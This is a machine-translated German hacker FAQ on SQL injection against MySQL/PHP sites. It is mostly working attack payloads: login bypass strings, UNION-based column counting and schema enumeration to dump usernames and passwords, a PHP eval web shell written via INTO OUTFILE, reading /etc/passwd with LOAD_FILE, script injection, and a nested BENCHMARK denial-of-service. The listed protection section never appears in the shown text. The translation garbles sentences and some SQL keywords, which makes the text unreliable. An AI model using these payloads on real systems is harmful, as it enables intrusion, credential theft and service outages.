This page has been robot translated, sorry for typos if any. Original content here.

SQL-Injection [vollständige FAQ]



  • 0.INTRO
  • 1. WIE MAN SQL INJECTION FINDET
  • 2. WAS UND WIE SIE VON DIESER NUTZUNG ENTFERNT WERDEN KÖNNEN
  • 3. WAS, WENN KEIN FELDFELD IST.
  • 4. WAS TUN, WENN ETWAS GEFILTERT IST.
  • 5. NÜTZLICHE FUNKTIONEN IN MYSQL
  • 6. WIE MAN VON SQL-INJEKTION SCHÜTZEN KANN
  • 7. ERGÄNZUNGEN


  • 0.INTRO


    Laziv im Internet auf der Suche nach irgendwelchen Informationen über SQL-Injection, sind Sie wahrscheinlich über die Artikel entweder sehr kurz oder nicht verständlich gelaufen oder haben ein Thema oder etwas anderes beleuchtet, das Sie natürlich nicht mochten. Wenn das und ich irgendwo 10-20 Artikel zu diesem Thema gesammelt haben, um die Feinheiten dieser Schwachstelle zu untersuchen. Und dann erinnerte ich mich daran, dass ich mich entschloss, eine vollständige FAQ zu diesem Thema zu schreiben, damit der Rest nicht darunter leidet. Und noch eine Anfrage. Diejenigen, die feststellen, dass ich etwas verpasst habe, wo etwas nicht in Ordnung war, und so schreibe bitte unten, es ist trotzdem schwer, :) . Übrigens, dies ist mein erster Artikel, bitte keine Tomaten werfen und nicht die Füße treten.

    Nicht der erste Tag des Einbruchs, Sie wissen wahrscheinlich, was SQL-Injektion ist, wenn nicht, ich bin dieser Artikel für Sie. Die SQL-Injektion auf nur eine Injektion ist die Art des Angriffs, bei dem der Angreifer die ursprüngliche Abfrage in die Datenbank ändert, sodass bei der Ausführung der Abfrage die von der Datenbank benötigten Informationen angezeigt werden.

    Um diesen Artikel zu assimilieren benötigt:
    a) ein Gehirn haben
    b) Gerade Hände
    c) Kenntnis der SQL-Sprache

    Grundsätzlich wurde dieser Artikel sowohl für MYSQL + PHP geschrieben, als auch einige Beispiele für MSSQL.

    Im Allgemeinen ist meiner Meinung nach der beste Weg, um zu lernen, wie man richtig mit SQL-Injection umgeht, diesen Artikel nicht zu lesen, sondern ihn zu üben , zum Beispiel, um das anfällige Skript selbst zu schreiben oder meinen ganz am Ende zu verwenden.

    Übrigens, ich rate Ihnen, alles hintereinander zu lesen, denn jeder Absatz hat etwas Wichtiges für den nächsten Artikel usw.

    1. WIE MAN SQL INJECTION FINDET

    Es ist ganz einfach. Es ist notwendig, in alle Felder, Variablen, Cookies doppelte und einfache Anführungszeichen einzufügen.

    1.1 Der zweite erste

    Fangen wir mit diesem Skript an

    1 . Angenommen, die ursprüngliche Abfrage an die Datenbank sieht folgendermaßen aus:
    SELECT * FROM news WHERE id=' 1 '; Nun fügen wir der Variablen "id" das Anführungszeichen hinzu: Wenn die Variable nicht gefiltert ist und Fehlermeldungen enthalten sind, dann wird Folgendes eingefügt:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax; überprüfen Sie das Handbuch, das Ihrer MySQL-Server-Version entspricht, um die richtige Syntax für die Verwendung in der Nähe von '1' 'zu verwenden

    Da in der Abfrage zur Datenbank ein zusätzliches Anführungszeichen steht:
    SELECT * FROM news WHERE id=' 1' '; Wenn der Fehlerbericht deaktiviert ist, können Sie in diesem Fall das Vorhandensein der Sicherheitsanfälligkeit wie folgt feststellen (Außerdem würde dies nicht verhindern, dass Punkt 1.4 wie im selben Absatz beschrieben verwechselt wird): Die Abfrage an die Datenbank lautet also:
    SELECT * FROM news WHERE id=' 1'; -- '; (Für diejenigen, die im Panzer sind. "-" Dies ist ein Zeichen für den Anfang des Kommentars, nachdem es verworfen wurde. Ich möchte auch darauf aufmerksam machen, dass hinterher ein Raum stehen muss (also in der Dokumentation für MYSQL) und übrigens auch davor. Daher bleibt die Abfrage für MYSQL gleich und dieselbe wird wie für http: //xxx/news.php angezeigt ? Id = 1
    Der ganze Punkt 2 ist dem Thema dieser Schwachstelle gewidmet.

    1.2 Der zweite Fall

    In SQL gibt es eine LIKE- Anweisung. Es dient zum Vergleich von Strings. Hier erlauben wir dem Autorisierungsskript, die Anmelde- und Passwortanforderungen der Datenbank wie folgt einzugeben:
    WÄHLEN SIE * FROM Benutzer WO LOGON WIE 'Admin' UND GEHEN WIE '123';

    Selbst wenn dieses Skript das Anführungszeichen filtert, bleibt es weiterhin anfällig für eine Injektion. Anstelle des Passworts müssen wir nur "%" eingeben (Für den Operator LIKE entspricht das Zeichen "%" einer beliebigen Zeichenfolge), und dann wird die Anfrage
    SELECT * FROM Benutzer WO LOGIN wie "Admin" UND übergeben Sie LIKE '%';

    und wir werden drinnen mit dem Login 'Admin' erlaubt sein. In diesem Fall haben wir nicht nur SQL-Injection gefunden, sondern auch erfolgreich eingesetzt.

    1.3 Der dritte Fall

    Was tun, wenn im selben Autorisierungsskript keine Angebotsprüfung erfolgt? Es wird zumindest töricht sein, diese Injektion zu verwenden, um einige Informationen auszugeben. Lassen Sie uns die Datenbank abfragen wie folgt:
    SELECT * FROM Benutzer WHERE login = 'Admin' AND pass = '123';

    Leider passt das Passwort '123' nicht :) , aber wir haben festgestellt, dass die Injektion im Login-Parameter gültig ist und dass man sich unter dem Spitznamen 'Admin' registrieren muss . - das heißt, der Teil mit der Passwortprüfung wird verworfen und wir tragen den Namen "Admin" ein.
    SELECT * FROM Benutzer WHERE login = ' Admin'; - 'AND pass =' ​​123 ';

    Und jetzt, was zu tun ist, wenn die Schwachstelle im Feld "pass". In dieses Feld geben wir folgendes ein: 123 'ODER login =' Admin '; - . Die Abfrage wird:
    SELECT * FROM Benutzer WHERE login = 'Admin' UND pass = '123' ODER login = 'Admin'; - ';

    Das für eine Datenbank ist für eine solche Anfrage absolut unbestimmt:
    SELECT * FROM Benutzer WHERE (login = 'Admin' UND pass = '123') ODER (login = 'Admin');

    Und nach diesen Aktionen werden wir mit dem Login 'Admin' zum vollständigen Eigentümer des ACK.

    1.4 Vierter Fall

    Lass uns zum Nachrichtenskript zurückkehren. Aus der SQL-Sprache müssen wir uns erinnern, dass die numerischen Parameter nicht in Anführungszeichen gesetzt werden, also mit einem solchen Aufruf an das Skript http: //xxx/news.php? Id = 1 sieht die Abfrage an die DB so aus:
    SELECT * FROM news WHERE id = 1 ;

    Um diese Injektion zu erkennen, können Sie auch das Anführungszeichen im Parameter 'id' ersetzen und dann die gleiche Fehlermeldung herausspringen:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax; überprüfen Sie das Handbuch, das Ihrer MySQL-Server-Version entspricht, um die richtige Syntax für die Verwendung in der Nähe von '1' 'zu verwenden

    Wenn diese Nachricht nicht vyprigivaet ist, kann verstanden werden, dass das Angebot gefiltert ist und dann ist es notwendig http: //xxx/news.php? Id = 1 bla-bla-bla
    DB wird das nicht verstehen für bla bla bla und wird eine Fehlermeldung wie:

    mysql_query (): Sie haben einen Fehler in Ihrer SQL-Syntax; 1 bla-bla-bla (1 bla-bla-bla)

    Wenn der Fehlerbericht deaktiviert ist, überprüfen Sie hier http: //xxx/news.php? Id = 1; -
    Es sollte genau so aussehen wie http: //xxx/news.php? Id = 1

    Jetzt können Sie mit Schritt 2 fortfahren.

    2. WAS UND WIE SIE VON DIESER NUTZUNG ENTFERNT WERDEN KÖNNEN

    Als nächstes betrachten wir nur die Art der in Abschnitt 1.1 beschriebenen Anfälligkeit. A und ändern Sie sie zu den anderen kann nicht schwierig sein :)

    2.1 Das UNION- Team

    Am nützlichsten ist der UNION- Befehl (der nicht weiß, ob er zu Google gehen soll) ...
    Ändern Sie den Aufruf des Skripts http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . Die Abfrage an die Datenbank, die wir bekommen, ist wie folgt:
    SELECT * FROM Nachrichten WHERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Auswahl der Anzahl der Felder (Methode 1)

    Nicht zu vergessen, dass die Anzahl der Spalten vor UNION und danach sicher sein sollte, dass ein Fehler auftritt (es sei denn, es gibt mehr als eine Spalte in der News-Tabelle) wie:

    mysql_query (): Die verwendeten SELECT-Anweisungen haben eine andere Anzahl von Spalten

    In diesem Fall müssen wir eine Anzahl von Spalten aufgreifen (das wäre ihre Nummer vor UNION und nach der Übereinstimmung). Wir machen es so:

    http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
    Ein Fehler ist aufgetreten. " Die verwendeten SELECT-Anweisungen haben eine andere Anzahl von Spalten "

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
    Wieder ein Fehler.
    ...

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
    Oh! Es wurde genau wie http: //xxx/news.php angezeigt ? Id = 1
    bedeutet, dass die Anzahl der Felder ausgewählt ist, dh es gibt 6 davon ...


    2.1.1.2 Auswahl der Anzahl der Felder (Methode 2)

    Diese Methode basiert auf der Auswahl der Anzahl der Felder mit GROUP BY . Das ist eine Anfrage dieses Typs:

    http: //xxx/news.php? id = 1 'GROUP BY 2 -

    Es wird fehlerfrei angezeigt, wenn die Anzahl der Felder kleiner oder gleich 2 ist.
    Wir stellen eine Anfrage dieser Art:

    http: //xxx/news.php? id = 1 'GROUP BY 10 -

    Ups ... Es gab einen Typfehler.

    mysql_query (): Unbekannte Spalte '10' in 'Gruppenanweisung'

    Daher sind die Spalten kleiner als 10. Teilen Sie 10 durch 2. Und stellen Sie eine Abfrage

    http: //xxx/news.php? id = 1 'GROUP BY 5 -


    Es gibt keinen Fehler, daher ist die Anzahl der Spalten größer oder gleich 5, aber kleiner als 10. Nun nehmen Sie den Durchschnittswert zwischen 5 und 10, das ergibt sich wie 7. Führen Sie die Abfrage aus:

    http: //xxx/news.php? id = 1 'GROUP BY 7 -

    Oh nochmal, ein Fehler ... :(

    mysql_query (): Unbekannte Spalte '7' in 'Gruppenanweisung'

    Also ist die Zahl größer oder gleich 5, aber kleiner als 7. Gut, wir machen weiterhin eine Anfrage

    http: //xxx/news.php? id = 1 'GROUP BY 6 -

    Es gibt keine Fehler ... Die Zahl ist also größer oder gleich 6, aber kleiner als 7. Daraus folgt, dass die erforderliche Anzahl von Spalten 6 ist.

    2.1.1.3 Auswahl der Anzahl der Felder (Methode 3)

    Das gleiche Prinzip wie in Abschnitt 2.1.1.2 verwendet nur die Funktion ORDER BY . Und der Text des Fehlers ändert sich leicht, wenn es mehr Felder gibt.

    mysql_query (): Unbekannte Spalte '10' in 'order clause'

    2.1.2 Definition der Ausgabespalten

    Ich denke, dass viele von uns einfach wie eine Seite wie http: //xxx/news.php? Id = 1 funktioniert nicht. Wir müssen also sicherstellen, dass in der ersten Abfrage nichts angezeigt wird (vor UNION ). Am einfachsten ist es, "id" von "1" auf "-1" (oder auf "9999999") zu ändern
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Jetzt haben wir einige wo in der Seite eine dieser Zahlen angezeigt werden sollte. (Zum Beispiel, da dies ein Bedingungsnachrichtenskript ist, wird es im "News Title" angezeigt, zB 3, "News" -4 usw.). Um nun einige Informationen zu erhalten, müssen wir diese Zahlen im Skript durch die benötigten Funktionen ersetzen. Wenn die Nummern nirgendwo angezeigt werden, können die verbleibenden Unterabsätze von Abschnitt 2.1 weggelassen werden.

    2.1.3 SIXSS (SQL-Injection-CROSS-Site-Scripting)

    Das gleiche XSS nur durch die Abfrage an die Datenbank. Beispiel:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3' <script> alert ('SIXSS') </ script> ', 5,6 - Ich denke, es ist nicht schwer zu verstehen, 4 auf der Seite wird durch <script> alert ('SIXSS') </ script> ersetzt und die XSS wird identisch sein.

    2.1.4 Namen von Spalten / Tabellen

    Wenn Sie die Namen von Tabellen und Spalten in der Datenbank kennen, können Sie diesen Eintrag überspringen
    Wenn Sie es nicht wissen ... Es gibt zwei Möglichkeiten.

    2.1.4.1 Namen von Spalten / Tabellen bei Zugriff auf INFORMATION_SCHEMA und wenn MYSQL-Version> = 5

    Tabelle INFORMATION_SCHEMA.TABLES enthält Informationen zu allen Tabellen in der Datenbank, Spalte TABLE_NAME-Tabellennamen.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - Dies kann ein Problem verursachen. Da nur die erste Zeile der Datenbankantwort angezeigt wird. Dann müssen wir LIMIT wie folgt verwenden :

    Ausgabe der ersten Zeile:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 -

    Ausgabe der zweiten Zeile:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2.1 - usw.

    Nun, wir haben die Benutzer- Tabelle gefunden. Nur das ... ah ... die Spalten wissen nicht ... Dann kommt die Tabelle INFORMATION_SCHEMA.COLUMNS . Die Spalte COLUMN_NAME enthält den Namen der Spalte in der Tabelle TABLE_NAME . So rufen wir die Spaltennamen ab

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 VON INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer 'LIMIT 1,1 -

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 VON INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer 'LIMIT 2.1 -
    usw.

    Und jetzt haben wir die Felder Login , Passwort gefunden .

    2.1.4.2 Namen von Spalten / Tabellen, wenn kein Zugriff auf INFORMATION_SCHEMA besteht

    Dies ist eine Arschloch-Version :( Dann treten die üblichen Brutofors in Kraft ... Beispiel:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM Tbl_name -

    Sie müssen den Tabellennamen auswählen, bis die folgende Fehlermeldung ausgeblendet wird :

    mysql_query (): Tabelle ' Tabellenname ' existiert nicht

    Nun, wir haben zu Ihrem Glück gebracht. Die Benutzer haben eine Fehlermeldung verpasst und die Seite wurde wie unter http: //xxx/news.php angezeigt . Id = -1 'UNION SELECT 1,2,3,4,5,6 - Was bedeutet das ? ? Dies bedeutet, dass die Tabelle Benutzer vorhanden ist und Sie die Spalten sortieren müssen.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, Spaltenname , 5,6 FROM Benutzer -

    Sie müssen den Spaltennamen auswählen, bis die folgende Fehlermeldung ausgeblendet wird :

    mysql_query (): Unbekannte Spalte ' Spaltenname ' 'in' Feldliste '

    Wenn eine Fehlermeldung verschwindet, existiert eine solche Spalte.

    Auf diese Weise haben wir erfahren, dass es in der Tabelle " Benutzer" Login- und Passwort- Spalten gibt.

    2.1.5 Ausgabe von Informationen

    Auf das Skript in dieser Weise http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, Login, Passwort, 5,6 FROM Benutzer LIMIT 1.1 - Zeigt uns die Login-und Passwort des ersten Benutzers aus der Tabelle Benutzer .

    2.2 Arbeiten mit Dateien

    2.2.1 In Datei schreiben

    Ist in MYSQL eine interessante Funktion vom Typ SELECT ... INTO OUTFILE, die es erlaubt, die Informationen in einer Datei aufzuschreiben. Entweder dieses Design SELECT ... IN DUMPFILE sie sind fast ähnlich und Sie können alle verwenden.

    Beispiel: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 IN OUTFILE' 1.txt '; -


    Es gibt verschiedene Einschränkungen dafür.
    • Dateien nicht überschreiben
    • Benötigt FILE Privilegien
    • (!) Erforderliche reale Anführungszeichen bei der Angabe des Dateinamens

    Aber was würde uns davon abhalten, das Internet zu öffnen? Hier ist ein Beispiel:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, <? php eval ($ _GET [' e '])?>', 5,6 INTO OUTFILE '1.php '; -

    Es bleibt nur den vollständigen Pfad zum Stammverzeichnis der Site auf dem Server zu finden und vor 1.php zu beenden. Sie können einen anderen Fehler im Bericht finden, der den Pfad auf dem Server anzeigt oder ihn im Stammverzeichnis des Servers belässt und ihn mit dem lokalen Include abruft. Dies ist jedoch ein weiteres Thema.

    2.2.2 Dateien lesen

    Betrachten Sie die Funktion LOAD_FILE

    Beispiel: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    Es gibt auch einige Einschränkungen dafür.
    • Der vollständige Pfad zur Datei muss angegeben werden.
    • Benötigt FILE Privilegien
    • Die Datei muss sich auf demselben Server befinden
    • Die Größe dieser Datei sollte kleiner als in max_allowed_packet angegeben sein
    • Die Datei sollte zum Lesen durch den Benutzer geöffnet werden, unter dem MYSQL gestartet wird

    Wenn die Funktion die Datei nicht lesen kann, wird NULL zurückgegeben.

    2.3 DOS-Angriff auf SQL-Server

    In den meisten Fällen ist der SQL-Server beendet, weil er nichts anderes tun kann. Typ hat die Tabellen / Spalten nicht kennengelernt, es gibt keine Rechte dafür, es gibt keine Rechte dafür etc. Ich bin ehrlich gegen diese Methode, aber immer noch ...

    Näher zum Punkt ...
    Die BENCHMARK- Funktion führt die gleiche Aktion mehrmals durch.
    SELECT BENCHMARK (100000, md5 (current_time));

    Das heißt, hier macht diese Funktion 100000 mal md5 (current_time) , die ich auf meinem Computer habe, dauert ca. 0,7 Sekunden ... Es schien, dass es so etwas gibt ... Und wenn Sie das eingebettete BENCHMARK probieren ?

    SELECT BENCHMARK (100000, BENCHMARK (100000, MD5 (current_time))));

    Laufen für eine sehr lange Zeit, um ehrlich zu sein, habe ich nicht einmal gewartet ... Ich musste einen Reset machen :) .
    Beispiel Dos in unserem Fall:

    http: //xxx/news.php? id = -1 'UNION AUSWÄHLEN 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (current_time)))), 4, 5, 6; -

    Es ist genug Zeit, um 100 F5 zu stoßen und "der Server fällt in ein Geräusch"))).